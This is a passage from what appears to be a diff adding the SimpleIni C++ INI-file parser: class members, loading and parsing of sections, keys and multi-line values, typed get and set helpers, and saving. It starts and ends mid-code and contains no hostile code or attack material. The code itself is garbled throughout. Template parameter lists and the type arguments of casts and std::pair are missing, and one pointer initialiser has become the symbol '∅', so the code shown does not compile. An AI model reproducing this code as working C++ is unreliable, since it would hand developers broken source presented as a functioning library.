IsMultiLineData(const SI_CHAR* a_pData) const; + bool LoadMultiLineText( + SI_CHAR*& a_pData, + const SI_CHAR*& a_pVal, + const SI_CHAR* a_pTagName, + bool a_bAllowBlankLinesInComment = false + ) const; + bool IsNewLineChar(SI_CHAR a_c) const; + + bool OutputMultiLineText( + OutputWriter& a_oOutput, + Converter& a_oConverter, + const SI_CHAR* a_pText + ) const; + +private: + /** Copy of the INI file data in our character format. This will be + modified when parsed to have NULL characters added after all + interesting string entries. All of the string pointers to sections, + keys and values point into this block of memory. + */ + SI_CHAR* m_pData; + + /** Length of the data that we have stored. Used when deleting strings + to determine if the string is stored here or in the allocated string + buffer. + */ + size_t m_uDataLen; + + /** File comment for this data, if one exists. */ + const SI_CHAR* m_pFileComment; + + /** Parsed INI data. Section -> (Key -> Value). */ + TSection m_data; + + /** This vector stores allocated memory for copies of strings that have + been supplied after the file load. It will be empty unless SetValue() + has been called. + */ + TNamesDepend m_strings; + + /** Is the format of our datafile UTF-8 or MBCS? */ + bool m_bStoreIsUtf8; + + /** Are multiple values permitted for the same key? */ + bool m_bAllowMultiKey; + + /** Are data values permitted to span multiple lines? */ + bool m_bAllowMultiLine; + + /** Should spaces be written out surrounding the equals sign? */ + bool m_bSpaces; + + /** Next order value, used to ensure sections and keys are output in the + same order that they are loaded/added. + */ + int m_nOrder; +}; + +// --------------------------------------------------------------------------- +// IMPLEMENTATION +// --------------------------------------------------------------------------- + +template +CSimpleIniTempl::CSimpleIniTempl( + bool a_bIsUtf8, + bool a_bAllowMultiKey, + bool a_bAllowMultiLine +) + : m_pData(0) + , m_uDataLen(0) + , m_pFileComment(NULL) + , m_bStoreIsUtf8(a_bIsUtf8) + , m_bAllowMultiKey(a_bAllowMultiKey) + , m_bAllowMultiLine(a_bAllowMultiLine) + , m_bSpaces(true) + , m_nOrder(0) +{ } + +template +CSimpleIniTempl::~CSimpleIniTempl() +{ + Reset(); +} + +template +void +CSimpleIniTempl::Reset() +{ + // remove all data + delete[] m_pData; + m_pData = NULL; + m_uDataLen = 0; + m_pFileComment = NULL; + if (!m_data.empty()) { + m_data.erase(m_data.begin(), m_data.end()); + } + + // remove all strings + if (!m_strings.empty()) { + typename TNamesDepend::iterator i = m_strings.begin(); + for (; i != m_strings.end(); ++i) { + delete[] const_cast(i->pItem); + } + m_strings.erase(m_strings.begin(), m_strings.end()); + } +} + +template +SI_Error +CSimpleIniTempl::LoadFile( + const char* a_pszFile +) +{ + FILE* fp = NULL; +#if __STDC_WANT_SECURE_LIB__ && !_WIN32_WCE + fopen_s(&fp, a_pszFile, "rb"); +#else // !__STDC_WANT_SECURE_LIB__ + fp = fopen(a_pszFile, "rb"); +#endif // __STDC_WANT_SECURE_LIB__ + if (!fp) { + return SI_FILE; + } + SI_Error rc = LoadFile(fp); + fclose(fp); + return rc; +} + +#ifdef SI_HAS_WIDE_FILE +template +SI_Error +CSimpleIniTempl::LoadFile( + const SI_WCHAR_T* a_pwszFile +) +{ +#ifdef _WIN32 + FILE* fp = NULL; +#if __STDC_WANT_SECURE_LIB__ && !_WIN32_WCE + _wfopen_s(&fp, a_pwszFile, L"rb"); +#else // !__STDC_WANT_SECURE_LIB__ + fp = _wfopen(a_pwszFile, L"rb"); +#endif // __STDC_WANT_SECURE_LIB__ + if (!fp) return SI_FILE; + SI_Error rc = LoadFile(fp); + fclose(fp); + return rc; +#else // !_WIN32 (therefore SI_CONVERT_ICU) + char szFile[256]; + u_austrncpy(szFile, a_pwszFile, sizeof(szFile)); + return LoadFile(szFile); +#endif // _WIN32 +} +#endif // SI_HAS_WIDE_FILE + +template +SI_Error +CSimpleIniTempl::LoadFile( + FILE* a_fpFile +) +{ + // load the raw file data + int retval = fseek(a_fpFile, 0, SEEK_END); + if (retval != 0) { + return SI_FILE; + } + long lSize = ftell(a_fpFile); + if (lSize < 0) { + return SI_FILE; + } + if (lSize == 0) { + return SI_OK; + } + + // allocate and ensure NULL terminated + char* pData = new(std::nothrow) char[lSize + 1]; + if (!pData) { + return SI_NOMEM; + } + pData[lSize] = 0; + + // load data into buffer + fseek(a_fpFile, 0, SEEK_SET); + size_t uRead = fread(pData, sizeof(char), lSize, a_fpFile); + if (uRead != (size_t)lSize) { + delete[] pData; + return SI_FILE; + } + + // convert the raw data to unicode + SI_Error rc = LoadData(pData, uRead); + delete[] pData; + return rc; +} + +template +SI_Error +CSimpleIniTempl::LoadData( + const char* a_pData, + size_t a_uDataLen +) +{ + if (!a_pData) { + return SI_OK; + } + + // if the UTF-8 BOM exists, consume it and set mode to unicode, if we have + // already loaded data and try to change mode half-way through then this will + // be ignored and we will assert in debug versions + if (a_uDataLen >= 3 && memcmp(a_pData, SI_UTF8_SIGNATURE, 3) == 0) { + a_pData += 3; + a_uDataLen -= 3; + SI_ASSERT(m_bStoreIsUtf8 || !m_pData); // we don't expect mixed mode data + SetUnicode(); + } + + if (a_uDataLen == 0) { + return SI_OK; + } + + // determine the length of the converted data + SI_CONVERTER converter(m_bStoreIsUtf8); + size_t uLen = converter.SizeFromStore(a_pData, a_uDataLen); + if (uLen == (size_t)(-1)) { + return SI_FAIL; + } + + // allocate memory for the data, ensure that there is a NULL + // terminator wherever the converted data ends + SI_CHAR* pData = new(std::nothrow) SI_CHAR[uLen + 1]; + if (!pData) { + return SI_NOMEM; + } + memset(pData, 0, sizeof(SI_CHAR) * (uLen + 1)); + + // convert the data + if (!converter.ConvertFromStore(a_pData, a_uDataLen, pData, uLen)) { + delete[] pData; + return SI_FAIL; + } + + // parse it + const static SI_CHAR empty = 0; + SI_CHAR* pWork = pData; + const SI_CHAR* pSection = ∅ + const SI_CHAR* pItem = NULL; + const SI_CHAR* pVal = NULL; + const SI_CHAR* pComment = NULL; + + // We copy the strings if we are loading data into this class when we + // already have stored some. + bool bCopyStrings = (m_pData != NULL); + + // find a file comment if it exists, this is a comment that starts at the + // beginning of the file and continues until the first blank line. + SI_Error rc = FindFileComment(pWork, bCopyStrings); + if (rc < 0) return rc; + + // add every entry in the file to the data table + while (FindEntry(pWork, pSection, pItem, pVal, pComment)) { + rc = AddEntry(pSection, pItem, pVal, pComment, false, bCopyStrings); + if (rc < 0) return rc; + } + + // store these strings if we didn't copy them + if (bCopyStrings) { + delete[] pData; + } + else { + m_pData = pData; + m_uDataLen = uLen + 1; + } + + return SI_OK; +} + +#ifdef SI_SUPPORT_IOSTREAMS +template +SI_Error +CSimpleIniTempl::LoadData( + std::istream& a_istream +) +{ + std::string strData; + char szBuf[512]; + do { + a_istream.get(szBuf, sizeof(szBuf), '\0'); + strData.append(szBuf); + } while (a_istream.good()); + return LoadData(strData); +} +#endif // SI_SUPPORT_IOSTREAMS + +template +SI_Error +CSimpleIniTempl::FindFileComment( + SI_CHAR*& a_pData, + bool a_bCopyStrings +) +{ + // there can only be a single file comment + if (m_pFileComment) { + return SI_OK; + } + + // Load the file comment as multi-line text, this will modify all of + // the newline characters to be single \n chars + if (!LoadMultiLineText(a_pData, m_pFileComment, NULL, false)) { + return SI_OK; + } + + // copy the string if necessary + if (a_bCopyStrings) { + SI_Error rc = CopyString(m_pFileComment); + if (rc < 0) return rc; + } + + return SI_OK; +} + +template +bool +CSimpleIniTempl::FindEntry( + SI_CHAR*& a_pData, + const SI_CHAR*& a_pSection, + const SI_CHAR*& a_pKey, + const SI_CHAR*& a_pVal, + const SI_CHAR*& a_pComment +) const +{ + a_pComment = NULL; + + SI_CHAR* pTrail = NULL; + while (*a_pData) { + // skip spaces and empty lines + while (*a_pData && IsSpace(*a_pData)) { + ++a_pData; + } + if (!*a_pData) { + break; + } + + // skip processing of comment lines but keep a pointer to + // the start of the comment. + if (IsComment(*a_pData)) { + LoadMultiLineText(a_pData, a_pComment, NULL, true); + continue; + } + + // process section names + if (*a_pData == '[') { + // skip leading spaces + ++a_pData; + while (*a_pData && IsSpace(*a_pData)) { + ++a_pData; + } + + // find the end of the section name (it may contain spaces) + // and convert it to lowercase as necessary + a_pSection = a_pData; + while (*a_pData && *a_pData != ']' && !IsNewLineChar(*a_pData)) { + ++a_pData; + } + + // if it's an invalid line, just skip it + if (*a_pData != ']') { + continue; + } + + // remove trailing spaces from the section + pTrail = a_pData - 1; + while (pTrail >= a_pSection && IsSpace(*pTrail)) { + --pTrail; + } + ++pTrail; + *pTrail = 0; + + // skip to the end of the line + ++a_pData; // safe as checked that it == ']' above + while (*a_pData && !IsNewLineChar(*a_pData)) { + ++a_pData; + } + + a_pKey = NULL; + a_pVal = NULL; + return true; + } + + // find the end of the key name (it may contain spaces) + // and convert it to lowercase as necessary + a_pKey = a_pData; + while (*a_pData && *a_pData != '=' && !IsNewLineChar(*a_pData)) { + ++a_pData; + } + + // if it's an invalid line, just skip it + if (*a_pData != '=') { + continue; + } + + // empty keys are invalid + if (a_pKey == a_pData) { + while (*a_pData && !IsNewLineChar(*a_pData)) { + ++a_pData; + } + continue; + } + + // remove trailing spaces from the key + pTrail = a_pData - 1; + while (pTrail >= a_pKey && IsSpace(*pTrail)) { + --pTrail; + } + ++pTrail; + *pTrail = 0; + + // skip leading whitespace on the value + ++a_pData; // safe as checked that it == '=' above + while (*a_pData && !IsNewLineChar(*a_pData) && IsSpace(*a_pData)) { + ++a_pData; + } + + // find the end of the value which is the end of this line + a_pVal = a_pData; + while (*a_pData && !IsNewLineChar(*a_pData)) { + ++a_pData; + } + + // remove trailing spaces from the value + pTrail = a_pData - 1; + if (*a_pData) { // prepare for the next round + SkipNewLine(a_pData); + } + while (pTrail >= a_pVal && IsSpace(*pTrail)) { + --pTrail; + } + ++pTrail; + *pTrail = 0; + + // check for multi-line entries + if (m_bAllowMultiLine && IsMultiLineTag(a_pVal)) { + // skip the "<<<" to get the tag that will end the multiline + const SI_CHAR* pTagName = a_pVal + 3; + return LoadMultiLineText(a_pData, a_pVal, pTagName); + } + + // return the standard entry + return true; + } + + return false; +} + +template +bool +CSimpleIniTempl::IsMultiLineTag( + const SI_CHAR* a_pVal +) const +{ + // check for the "<<<" prefix for a multi-line entry + if (*a_pVal++ != '<') return false; + if (*a_pVal++ != '<') return false; + if (*a_pVal++ != '<') return false; + return true; +} + +template +bool +CSimpleIniTempl::IsMultiLineData( + const SI_CHAR* a_pData +) const +{ + // data is multi-line if it has any of the following features: + // * whitespace prefix + // * embedded newlines + // * whitespace suffix + + // empty string + if (!*a_pData) { + return false; + } + + // check for prefix + if (IsSpace(*a_pData)) { + return true; + } + + // embedded newlines + while (*a_pData) { + if (IsNewLineChar(*a_pData)) { + return true; + } + ++a_pData; + } + + // check for suffix + if (IsSpace(*--a_pData)) { + return true; + } + + return false; +} + +template +bool +CSimpleIniTempl::IsNewLineChar( + SI_CHAR a_c +) const +{ + return (a_c == '\n' || a_c == '\r'); +} + +template +bool +CSimpleIniTempl::LoadMultiLineText( + SI_CHAR*& a_pData, + const SI_CHAR*& a_pVal, + const SI_CHAR* a_pTagName, + bool a_bAllowBlankLinesInComment +) const +{ + // we modify this data to strip all newlines down to a single '\n' + // character. This means that on Windows we need to strip out some + // characters which will make the data shorter. + // i.e. LINE1-LINE1\r\nLINE2-LINE2\0 will become + // LINE1-LINE1\nLINE2-LINE2\0 + // The pDataLine entry is the pointer to the location in memory that + // the current line needs to start to run following the existing one. + // This may be the same as pCurrLine in which case no move is needed. + SI_CHAR* pDataLine = a_pData; + SI_CHAR* pCurrLine; + + // value starts at the current line + a_pVal = a_pData; + + // find the end tag. This tag must start in column 1 and be + // followed by a newline. No whitespace removal is done while + // searching for this tag. + SI_CHAR cEndOfLineChar = *a_pData; + for (;;) { + // if we are loading comments then we need a comment character as + // the first character on every line + if (!a_pTagName && !IsComment(*a_pData)) { + // if we aren't allowing blank lines then we're done + if (!a_bAllowBlankLinesInComment) { + break; + } + + // if we are allowing blank lines then we only include them + // in this comment if another comment follows, so read ahead + // to find out. + SI_CHAR* pCurr = a_pData; + int nNewLines = 0; + while (IsSpace(*pCurr)) { + if (IsNewLineChar(*pCurr)) { + ++nNewLines; + SkipNewLine(pCurr); + } + else { + ++pCurr; + } + } + + // we have a comment, add the blank lines to the output + // and continue processing from here + if (IsComment(*pCurr)) { + for (; nNewLines > 0; --nNewLines) *pDataLine++ = '\n'; + a_pData = pCurr; + continue; + } + + // the comment ends here + break; + } + + // find the end of this line + pCurrLine = a_pData; + while (*a_pData && !IsNewLineChar(*a_pData)) ++a_pData; + + // move this line down to the location that it should be if necessary + if (pDataLine < pCurrLine) { + size_t nLen = (size_t)(a_pData - pCurrLine); + memmove(pDataLine, pCurrLine, nLen * sizeof(SI_CHAR)); + pDataLine[nLen] = '\0'; + } + + // end the line with a NULL + cEndOfLineChar = *a_pData; + *a_pData = 0; + + // if are looking for a tag then do the check now. This is done before + // checking for end of the data, so that if we have the tag at the end + // of the data then the tag is removed correctly. + if (a_pTagName && + (!IsLess(pDataLine, a_pTagName) && !IsLess(a_pTagName, pDataLine))) + { + break; + } + + // if we are at the end of the data then we just automatically end + // this entry and return the current data. + if (!cEndOfLineChar) { + return true; + } + + // otherwise we need to process this newline to ensure that it consists + // of just a single \n character. + pDataLine += (a_pData - pCurrLine); + *a_pData = cEndOfLineChar; + SkipNewLine(a_pData); + *pDataLine++ = '\n'; + } + + // if we didn't find a comment at all then return false + if (a_pVal == a_pData) { + a_pVal = NULL; + return false; + } + + // the data (which ends at the end of the last line) needs to be + // null-terminated BEFORE before the newline character(s). If the + // user wants a new line in the multi-line data then they need to + // add an empty line before the tag. + *--pDataLine = '\0'; + + // if looking for a tag and if we aren't at the end of the data, + // then move a_pData to the start of the next line. + if (a_pTagName && cEndOfLineChar) { + SI_ASSERT(IsNewLineChar(cEndOfLineChar)); + *a_pData = cEndOfLineChar; + SkipNewLine(a_pData); + } + + return true; +} + +template +SI_Error +CSimpleIniTempl::CopyString( + const SI_CHAR*& a_pString +) +{ + size_t uLen = 0; + if (sizeof(SI_CHAR) == sizeof(char)) { + uLen = strlen((const char*)a_pString); + } + else if (sizeof(SI_CHAR) == sizeof(wchar_t)) { + uLen = wcslen((const wchar_t*)a_pString); + } + else { + for (; a_pString[uLen]; ++uLen) /*loop*/; + } + ++uLen; // NULL character + SI_CHAR* pCopy = new(std::nothrow) SI_CHAR[uLen]; + if (!pCopy) { + return SI_NOMEM; + } + memcpy(pCopy, a_pString, sizeof(SI_CHAR) * uLen); + m_strings.push_back(pCopy); + a_pString = pCopy; + return SI_OK; +} + +template +SI_Error +CSimpleIniTempl::AddEntry( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + const SI_CHAR* a_pValue, + const SI_CHAR* a_pComment, + bool a_bForceReplace, + bool a_bCopyStrings +) +{ + SI_Error rc; + bool bInserted = false; + + SI_ASSERT(!a_pComment || IsComment(*a_pComment)); + + // if we are copying strings then make a copy of the comment now + // because we will need it when we add the entry. + if (a_bCopyStrings && a_pComment) { + rc = CopyString(a_pComment); + if (rc < 0) return rc; + } + + // create the section entry if necessary + typename TSection::iterator iSection = m_data.find(a_pSection); + if (iSection == m_data.end()) { + // if the section doesn't exist then we need a copy as the + // string needs to last beyond the end of this function + if (a_bCopyStrings) { + rc = CopyString(a_pSection); + if (rc < 0) return rc; + } + + // only set the comment if this is a section only entry + Entry oSection(a_pSection, ++m_nOrder); + if (a_pComment && (!a_pKey || !a_pValue)) { + oSection.pComment = a_pComment; + } + + typename TSection::value_type oEntry(oSection, TKeyVal()); + typedef typename TSection::iterator SectionIterator; + std::pair i = m_data.insert(oEntry); + iSection = i.first; + bInserted = true; + } + if (!a_pKey || !a_pValue) { + // section only entries are specified with pItem and pVal as NULL + return bInserted ? SI_INSERTED : SI_UPDATED; + } + + // check for existence of the key + TKeyVal& keyval = iSection->second; + typename TKeyVal::iterator iKey = keyval.find(a_pKey); + + // remove all existing entries but save the load order and + // comment of the first entry + int nLoadOrder = ++m_nOrder; + if (iKey != keyval.end() && m_bAllowMultiKey && a_bForceReplace) { + const SI_CHAR* pComment = NULL; + while (iKey != keyval.end() && !IsLess(a_pKey, iKey->first.pItem)) { + if (iKey->first.nOrder < nLoadOrder) { + nLoadOrder = iKey->first.nOrder; + pComment = iKey->first.pComment; + } + ++iKey; + } + if (pComment) { + DeleteString(a_pComment); + a_pComment = pComment; + CopyString(a_pComment); + } + Delete(a_pSection, a_pKey); + iKey = keyval.end(); + } + + // make string copies if necessary + bool bForceCreateNewKey = m_bAllowMultiKey && !a_bForceReplace; + if (a_bCopyStrings) { + if (bForceCreateNewKey || iKey == keyval.end()) { + // if the key doesn't exist then we need a copy as the + // string needs to last beyond the end of this function + // because we will be inserting the key next + rc = CopyString(a_pKey); + if (rc < 0) return rc; + } + + // we always need a copy of the value + rc = CopyString(a_pValue); + if (rc < 0) return rc; + } + + // create the key entry + if (iKey == keyval.end() || bForceCreateNewKey) { + Entry oKey(a_pKey, nLoadOrder); + if (a_pComment) { + oKey.pComment = a_pComment; + } + typename TKeyVal::value_type oEntry(oKey, static_cast(NULL)); + iKey = keyval.insert(oEntry); + bInserted = true; + } + iKey->second = a_pValue; + return bInserted ? SI_INSERTED : SI_UPDATED; +} + +template +const SI_CHAR* +CSimpleIniTempl::GetValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + const SI_CHAR* a_pDefault, + bool* a_pHasMultiple +) const +{ + if (a_pHasMultiple) { + *a_pHasMultiple = false; + } + if (!a_pSection || !a_pKey) { + return a_pDefault; + } + typename TSection::const_iterator iSection = m_data.find(a_pSection); + if (iSection == m_data.end()) { + return a_pDefault; + } + typename TKeyVal::const_iterator iKeyVal = iSection->second.find(a_pKey); + if (iKeyVal == iSection->second.end()) { + return a_pDefault; + } + + // check for multiple entries with the same key + if (m_bAllowMultiKey && a_pHasMultiple) { + typename TKeyVal::const_iterator iTemp = iKeyVal; + if (++iTemp != iSection->second.end()) { + if (!IsLess(a_pKey, iTemp->first.pItem)) { + *a_pHasMultiple = true; + } + } + } + + return iKeyVal->second; +} + +template +long +CSimpleIniTempl::GetLongValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + long a_nDefault, + bool* a_pHasMultiple +) const +{ + // return the default if we don't have a value + const SI_CHAR* pszValue = GetValue(a_pSection, a_pKey, NULL, a_pHasMultiple); + if (!pszValue || !*pszValue) return a_nDefault; + + // convert to UTF-8/MBCS which for a numeric value will be the same as ASCII + char szValue[64] = { 0 }; + SI_CONVERTER c(m_bStoreIsUtf8); + if (!c.ConvertToStore(pszValue, szValue, sizeof(szValue))) { + return a_nDefault; + } + + // handle the value as hex if prefaced with "0x" + long nValue = a_nDefault; + char* pszSuffix = szValue; + if (szValue[0] == '0' && (szValue[1] == 'x' || szValue[1] == 'X')) { + if (!szValue[2]) return a_nDefault; + nValue = strtol(&szValue[2], &pszSuffix, 16); + } + else { + nValue = strtol(szValue, &pszSuffix, 10); + } + + // any invalid strings will return the default value + if (*pszSuffix) { + return a_nDefault; + } + + return nValue; +} + +template +SI_Error +CSimpleIniTempl::SetLongValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + long a_nValue, + const SI_CHAR* a_pComment, + bool a_bUseHex, + bool a_bForceReplace +) +{ + // use SetValue to create sections + if (!a_pSection || !a_pKey) return SI_FAIL; + + // convert to an ASCII string + char szInput[64]; +#if __STDC_WANT_SECURE_LIB__ && !_WIN32_WCE + sprintf_s(szInput, a_bUseHex ? "0x%lx" : "%ld", a_nValue); +#else // !__STDC_WANT_SECURE_LIB__ + sprintf(szInput, a_bUseHex ? "0x%lx" : "%ld", a_nValue); +#endif // __STDC_WANT_SECURE_LIB__ + + // convert to output text + SI_CHAR szOutput[64]; + SI_CONVERTER c(m_bStoreIsUtf8); + c.ConvertFromStore(szInput, strlen(szInput) + 1, + szOutput, sizeof(szOutput) / sizeof(SI_CHAR)); + + // actually add it + return AddEntry(a_pSection, a_pKey, szOutput, a_pComment, a_bForceReplace, true); +} + +template +double +CSimpleIniTempl::GetDoubleValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + double a_nDefault, + bool* a_pHasMultiple +) const +{ + // return the default if we don't have a value + const SI_CHAR* pszValue = GetValue(a_pSection, a_pKey, NULL, a_pHasMultiple); + if (!pszValue || !*pszValue) return a_nDefault; + + // convert to UTF-8/MBCS which for a numeric value will be the same as ASCII + char szValue[64] = { 0 }; + SI_CONVERTER c(m_bStoreIsUtf8); + if (!c.ConvertToStore(pszValue, szValue, sizeof(szValue))) { + return a_nDefault; + } + + char* pszSuffix = NULL; + double nValue = strtod(szValue, &pszSuffix); + + // any invalid strings will return the default value + if (!pszSuffix || *pszSuffix) { + return a_nDefault; + } + + return nValue; +} + +template +SI_Error +CSimpleIniTempl::SetDoubleValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + double a_nValue, + const SI_CHAR* a_pComment, + bool a_bForceReplace +) +{ + // use SetValue to create sections + if (!a_pSection || !a_pKey) return SI_FAIL; + + // convert to an ASCII string + char szInput[64]; +#if __STDC_WANT_SECURE_LIB__ && !_WIN32_WCE + sprintf_s(szInput, "%f", a_nValue); +#else // !__STDC_WANT_SECURE_LIB__ + sprintf(szInput, "%f", a_nValue); +#endif // __STDC_WANT_SECURE_LIB__ + + // convert to output text + SI_CHAR szOutput[64]; + SI_CONVERTER c(m_bStoreIsUtf8); + c.ConvertFromStore(szInput, strlen(szInput) + 1, + szOutput, sizeof(szOutput) / sizeof(SI_CHAR)); + + // actually add it + return AddEntry(a_pSection, a_pKey, szOutput, a_pComment, a_bForceReplace, true); +} + +template +bool +CSimpleIniTempl::GetBoolValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + bool a_bDefault, + bool* a_pHasMultiple +) const +{ + // return the default if we don't have a value + const SI_CHAR* pszValue = GetValue(a_pSection, a_pKey, NULL, a_pHasMultiple); + if (!pszValue || !*pszValue) return a_bDefault; + + // we only look at the minimum number of characters + switch (pszValue[0]) { + case 't': case 'T': // true + case 'y': case 'Y': // yes + case '1': // 1 (one) + return true; + + case 'f': case 'F': // false + case 'n': case 'N': // no + case '0': // 0 (zero) + return false; + + case 'o': case 'O': + if (pszValue[1] == 'n' || pszValue[1] == 'N') return true; // on + if (pszValue[1] == 'f' || pszValue[1] == 'F') return false; // off + break; + } + + // no recognized value, return the default + return a_bDefault; +} + +template +SI_Error +CSimpleIniTempl::SetBoolValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + bool a_bValue, + const SI_CHAR* a_pComment, + bool a_bForceReplace +) +{ + // use SetValue to create sections + if (!a_pSection || !a_pKey) return SI_FAIL; + + // convert to an ASCII string + const char* pszInput = a_bValue ? "true" : "false"; + + // convert to output text + SI_CHAR szOutput[64]; + SI_CONVERTER c(m_bStoreIsUtf8); + c.ConvertFromStore(pszInput, strlen(pszInput) + 1, + szOutput, sizeof(szOutput) / sizeof(SI_CHAR)); + + // actually add it + return AddEntry(a_pSection, a_pKey, szOutput, a_pComment, a_bForceReplace, true); +} + +template +bool +CSimpleIniTempl::GetAllValues( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + TNamesDepend& a_values +) const +{ + a_values.clear(); + + if (!a_pSection || !a_pKey) { + return false; + } + typename TSection::const_iterator iSection = m_data.find(a_pSection); + if (iSection == m_data.end()) { + return false; + } + typename TKeyVal::const_iterator iKeyVal = iSection->second.find(a_pKey); + if (iKeyVal == iSection->second.end()) { + return false; + } + + // insert all values for this key + a_values.push_back(Entry(iKeyVal->second, iKeyVal->first.pComment, iKeyVal->first.nOrder)); + if (m_bAllowMultiKey) { + ++iKeyVal; + while (iKeyVal != iSection->second.end() && !IsLess(a_pKey, iKeyVal->first.pItem)) { + a_values.push_back(Entry(iKeyVal->second, iKeyVal->first.pComment, iKeyVal->first.nOrder)); + ++iKeyVal; + } + } + + return true; +} + +template +int +CSimpleIniTempl::GetSectionSize( + const SI_CHAR* a_pSection +) const +{ + if (!a_pSection) { + return -1; + } + + typename TSection::const_iterator iSection = m_data.find(a_pSection); + if (iSection == m_data.end()) { + return -1; + } + const TKeyVal& section = iSection->second; + + // if multi-key isn't permitted then the section size is + // the number of keys that we have. + if (!m_bAllowMultiKey || section.empty()) { + return (int)section.size(); + } + + // otherwise we need to count them + int nCount = 0; + const SI_CHAR* pLastKey = NULL; + typename TKeyVal::const_iterator iKeyVal = section.begin(); + for (int n = 0; iKeyVal != section.end(); ++iKeyVal, ++n) { + if (!pLastKey || IsLess(pLastKey, iKeyVal->first.pItem)) { + ++nCount; + pLastKey = iKeyVal->first.pItem; + } + } + return nCount; +} + +template +const typename CSimpleIniTempl::TKeyVal* +CSimpleIniTempl::GetSection( + const SI_CHAR* a_pSection +) const +{ + if (a_pSection) { + typename TSection::const_iterator i = m_data.find(a_pSection); + if (i != m_data.end()) { + return &(i->second); + } + } + return 0; +} + +template +void +CSimpleIniTempl::GetAllSections( + TNamesDepend& a_names +) const +{ + a_names.clear(); + typename TSection::const_iterator i = m_data.begin(); + for (int n = 0; i != m_data.end(); ++i, ++n) { + a_names.push_back(i->first); + } +} + +template +bool +CSimpleIniTempl::GetAllKeys( + const SI_CHAR* a_pSection, + TNamesDepend& a_names +) const +{ + a_names.clear(); + + if (!a_pSection) { + return false; + } + + typename TSection::const_iterator iSection = m_data.find(a_pSection); + if (iSection == m_data.end()) { + return false; + } + + const TKeyVal& section = iSection->second; + const SI_CHAR* pLastKey = NULL; + typename TKeyVal::const_iterator iKeyVal = section.begin(); + for (int n = 0; iKeyVal != section.end(); ++iKeyVal, ++n) { + if (!pLastKey || IsLess(pLastKey, iKeyVal->first.pItem)) { + a_names.push_back(iKeyVal->first); + pLastKey = iKeyVal->first.pItem; + } + } + + return true; +} + +template +SI_Error +CSimpleIniTempl::SaveFile( + const char* a_pszFile, + bool a_bAddSignature +) const +{ + FILE* fp = NULL; +#if __STDC_WANT_SECURE_LIB__ && !_WIN32_WCE + fopen_s(&fp, a_pszFile, "wb"); +#else // !__STDC_WANT_SECURE_LIB__ + fp = fopen(a_pszFile, "wb"); +#endif // __STDC_WANT_SECURE_LIB__ + if (!fp) return SI_FILE; + SI_Error rc = SaveFile(fp, a_bAddSignature); + fclose(fp); + return rc; +} + +#ifdef SI_HAS_WIDE_FILE +template +SI_Error +CSimpleIniTempl::SaveFile( + const SI_WCHAR_T* a_pwszFile, + bool a_bAddSignature +) const +{ +#ifdef _WIN32 + FILE* fp = NULL; +#if __STDC_WANT_SECURE_LIB__ && !_WIN32_WCE + _wfopen_s(&fp, a_pwszFile, L"wb"); +#else // !__STDC_WANT_SECURE_LIB__ + fp = _wfopen(a_pwszFile, L"wb"); +#endif // __STDC_WANT_SECURE_LIB__ + if (!fp) return SI_FILE; + SI_Error rc = SaveFile(fp, a_bAddSignature); + fclose(fp); + return rc; +#else // !_WIN32 (therefore SI_CONVERT_ICU) + char szFile[256]; + u_austrncpy(szFile, a_pwszFile, sizeof(szFile)); + return SaveFile(szFile, a_bAddSignature); +#endif // _WIN32 +} +#endif // SI_HAS_WIDE_FILE + +template +SI_Error +CSimpleIniTempl::SaveFile( + FILE* a_pFile, + bool a_bAddSignature +) const +{ + FileWriter writer(a_pFile); + return Save(writer, a_bAddSignature); +} + +template +SI_Error +CSimpleIniTempl::Save( + OutputWriter& a_oOutput, + bool a_bAddSignature +) const +{ + Converter convert(m_bStoreIsUtf8); + + // add the UTF-8 signature if it is desired + if (m_bStoreIsUtf8 && a_bAddSignature) { + a_oOutput.Write(SI_UTF8_SIGNATURE); + } + + // get all of the sections sorted in load order + TNamesDepend oSections; + GetAllSections(oSections); +#if defined(_MSC_VER) && _MSC_VER <= 1200 + oSections.sort(); +#elif defined(__BORLANDC__) + oSections.sort(Entry::LoadOrder()); +#else + oSections.sort(typename Entry::LoadOrder()); +#endif + + // write the file comment if we have one + bool bNeedNewLine = false; + if (m_pFileComment) { + if (!OutputMultiLineText(a_oOutput, convert, m_pFileComment)) { + return SI_FAIL; + } + bNeedNewLine = true; + } + + // iterate through our sections and output the data + typename TNamesDepend::const_iterator iSection = oSections.begin(); + for (; iSection != oSections.end(); ++iSection) { + // write out the comment if there is one + if (iSection->pComment) { + if (bNeedNewLine) { + a_oOutput.Write(SI_NEWLINE_A); + a_oOutput.Write(SI_NEWLINE_A); + } + if (!OutputMultiLineText(a_oOutput, convert, iSection->pComment)) { + return SI_FAIL; + } + bNeedNewLine = false; + } + + if (bNeedNewLine) { + a_oOutput.Write(SI_NEWLINE_A); + a_oOutput.Write(SI_NEWLINE_A); + bNeedNewLine = false; + } + + // write the section (unless there is no section name) + if (*iSection->pItem) { + if (!convert.ConvertToStore(iSection->pItem)) { + return SI_FAIL; + } + a_oOutput.Write("["); + a_oOutput.Write(convert.Data()); + a_oOutput.Write("]"); + a_oOutput.Write(SI_NEWLINE_A); + } + + // get all of the keys sorted in load order + TNamesDepend oKeys; + GetAllKeys(iSection->pItem, oKeys); +#if defined(_MSC_VER) && _MSC_VER <= 1200 + oKeys.sort(); +#elif defined(__BORLANDC__) + oKeys.sort(Entry::LoadOrder()); +#else + oKeys.sort(typename Entry::LoadOrder()); +#endif + + // write all keys and values + typename TNamesDepend::const_iterator iKey = oKeys.begin(); + for (; iKey != oKeys.end(); ++iKey) { + // get all values for this key + TNamesDepend oValues; + GetAllValues(iSection->pItem, iKey->pItem, oValues); + + typename TNamesDepend::const_iterator iValue = oValues.begin(); + for (; iValue != oValues.end(); ++iValue) { + // write out the comment if there is one + if (iValue->pComment) { + a_oOutput.Write(SI_NEWLINE_A); + if (!OutputMultiLineText(a_oOutput, convert, iValue->pComment)) { + return SI_FAIL; + } + } + + // write the key + if (!convert.ConvertToStore(iKey->pItem)) { + return SI_FAIL; + } + a_oOutput.Write(convert.Data()); + + // write the value + if (!convert.ConvertToStore(iValue->pItem)) { + return SI_FAIL; + } + 